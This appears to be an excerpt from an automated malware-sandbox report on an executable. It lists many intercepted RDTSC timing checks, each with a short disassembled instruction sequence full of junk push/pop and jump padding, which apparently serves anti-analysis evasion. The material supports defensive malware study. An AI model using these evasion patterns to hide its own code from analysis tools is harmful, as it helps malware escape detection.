Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A23C7A second address: A23C9F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007F9648C33B40h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edi 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 pop edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jng 00007F9648C33B36h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A23C9F second address: A23CA5 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A23E1E second address: A23E22 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A23E22 second address: A23E48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F96486CD646h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edi 0x0000000d jmp 00007F96486CD652h 0x00000012 jc 00007F96486CD646h 0x00000018 pop edi 0x00000019 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A23FD6 second address: A23FDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A282A8 second address: A282AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A282AC second address: A282B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A282B0 second address: A282BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F96486CD646h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A282BC second address: A282C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A282C2 second address: A282CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F96486CD646h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A2C66C second address: A2C672 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A2CD81 second address: A2CD85 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A2CD85 second address: A2CD8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A3191B second address: A3191F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A31A74 second address: A31A9C instructions: 0x00000000 rdtsc 0x00000002 jg 00007F9648C33B36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F9648C33B42h 0x00000011 jmp 00007F9648C33B3Ah 0x00000016 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A31A9C second address: A31ACF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96486CD659h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jne 00007F96486CD64Eh 0x00000011 jbe 00007F96486CD646h 0x00000017 push edi 0x00000018 pop edi 0x00000019 popad 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A31ACF second address: A31AD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9D3E71 second address: 9D3E7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jl 00007F96486CD64Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9D3E7E second address: 9D3ED4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 nop 0x00000006 or ecx, dword ptr [ebp+122D37A3h] 0x0000000c mov ebx, dword ptr [ebp+12489F7Dh] 0x00000012 push 00000000h 0x00000014 push ecx 0x00000015 call 00007F9648C33B38h 0x0000001a pop ecx 0x0000001b mov dword ptr [esp+04h], ecx 0x0000001f add dword ptr [esp+04h], 00000015h 0x00000027 inc ecx 0x00000028 push ecx 0x00000029 ret 0x0000002a pop ecx 0x0000002b ret 0x0000002c mov edx, edi 0x0000002e add eax, ebx 0x00000030 mov dword ptr [ebp+122D35FFh], edx 0x00000036 nop 0x00000037 jg 00007F9648C33B3Ah 0x0000003d push eax 0x0000003e push eax 0x0000003f push edx 0x00000040 push ebx 0x00000041 jmp 00007F9648C33B3Dh 0x00000046 pop ebx 0x00000047 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A3A72F second address: A3A735 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A3A735 second address: A3A73F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F9648C33B36h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A387A8 second address: A387AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A387AC second address: A387C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F9648C33B42h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A387C9 second address: A38809 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007F96486CD657h 0x0000000c popad 0x0000000d pushad 0x0000000e jmp 00007F96486CD658h 0x00000013 jo 00007F96486CD64Eh 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A38809 second address: A38812 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A3896B second address: A3896F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A3896F second address: A3897F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F9648C33B36h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A3897F second address: A38983 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A38983 second address: A38987 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A38987 second address: A3898D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A38DE6 second address: A38DEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A3907B second address: A39085 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F96486CD646h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A39085 second address: A390A9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9648C33B49h 0x00000007 push edx 0x00000008 js 00007F9648C33B36h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A3936A second address: A39379 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F96486CD646h 0x0000000a popad 0x0000000b pushad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A396CC second address: A396D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A396D2 second address: A396D8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A39EEB second address: A39EF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jbe 00007F9648C33B3Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A3A476 second address: A3A47C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A3A47C second address: A3A499 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jo 00007F9648C33B48h 0x0000000b jmp 00007F9648C33B42h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A3A499 second address: A3A4A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 jnp 00007F96486CD646h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A3A4A5 second address: A3A4AE instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A3E5E9 second address: A3E60E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F96486CD64Dh 0x00000009 jnl 00007F96486CD646h 0x0000000f jnc 00007F96486CD646h 0x00000015 popad 0x00000016 pushad 0x00000017 pushad 0x00000018 popad 0x00000019 pushad 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A3E77F second address: A3E7A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 je 00007F9648C33B36h 0x0000000c popad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 jmp 00007F9648C33B3Fh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A3E7A1 second address: A3E7BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007F96486CD655h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A3E8F7 second address: A3E919 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007F9648C33B45h 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A3E919 second address: A3E91D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A3EDCA second address: A3EDDB instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jp 00007F9648C33B36h 0x00000009 push esi 0x0000000a pop esi 0x0000000b pop ebx 0x0000000c push ecx 0x0000000d push edi 0x0000000e pop edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A3EF2C second address: A3EF48 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96486CD656h 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A3EF48 second address: A3EF66 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F9648C33B3Bh 0x00000008 jmp 00007F9648C33B3Ah 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f popad 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A3F098 second address: A3F09C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A3F09C second address: A3F0AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007F9648C33B3Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A43DBF second address: A43DC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A4C8C8 second address: A4C8DC instructions: 0x00000000 rdtsc 0x00000002 jng 00007F9648C33B36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e jne 00007F9648C33B36h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A4C8DC second address: A4C8E6 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F96486CD646h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A4C8E6 second address: A4C906 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F9648C33B43h 0x0000000e push eax 0x0000000f push edx 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A4C906 second address: A4C90C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A4AB4A second address: A4AB55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A4AB55 second address: A4AB59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A4ACDE second address: A4ACE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A4ACE2 second address: A4AD26 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96486CD658h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c pop esi 0x0000000d popad 0x0000000e pushad 0x0000000f jp 00007F96486CD65Ah 0x00000015 push ecx 0x00000016 pop ecx 0x00000017 jmp 00007F96486CD652h 0x0000001c jp 00007F96486CD652h 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A4AD26 second address: A4AD2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A4B27B second address: A4B291 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F96486CD650h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A4B291 second address: A4B297 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A4B3F0 second address: A4B3F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A4B528 second address: A4B52D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A4B52D second address: A4B56A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F96486CD646h 0x0000000a jno 00007F96486CD646h 0x00000010 jnc 00007F96486CD646h 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push eax 0x0000001a push edx 0x0000001b jnc 00007F96486CD64Eh 0x00000021 jp 00007F96486CD654h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A4B6FA second address: A4B70F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 pushad 0x00000007 popad 0x00000008 jl 00007F9648C33B36h 0x0000000e pop eax 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A4B70F second address: A4B714 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A4B88D second address: A4B891 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A4B9F6 second address: A4B9FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A4B9FA second address: A4B9FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A4C779 second address: A4C77F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A4C77F second address: A4C789 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F9648C33B36h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A53309 second address: A53311 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A53311 second address: A53327 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jmp 00007F9648C33B3Bh 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A52E7C second address: A52E82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A52E82 second address: A52E93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F9648C33B3Ah 0x0000000c rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A52E93 second address: A52EB3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F96486CD651h 0x00000009 jmp 00007F96486CD64Bh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A52EB3 second address: A52ED1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9648C33B42h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b je 00007F9648C33B36h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A52ED1 second address: A52ED5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A52ED5 second address: A52EDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A5E770 second address: A5E789 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F96486CD655h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A5E789 second address: A5E78F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A5E2DA second address: A5E2E8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96486CD64Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 98EB04 second address: 98EB08 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 98EB08 second address: 98EB0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A6692B second address: A66935 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F9648C33B42h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A66935 second address: A6693B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A78268 second address: A7826C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A7AA37 second address: A7AA64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 ja 00007F96486CD65Eh 0x0000000b pop ebx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f jnp 00007F96486CD646h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A7AA64 second address: A7AA6D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A7EFE2 second address: A7F004 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jg 00007F96486CD646h 0x00000009 pop esi 0x0000000a push esi 0x0000000b jmp 00007F96486CD64Ah 0x00000010 jl 00007F96486CD646h 0x00000016 pop esi 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push ebx 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A7F2A7 second address: A7F2AC instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A7F2AC second address: A7F2C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F96486CD646h 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F96486CD64Ah 0x00000012 jno 00007F96486CD646h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A7F2C9 second address: A7F2CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
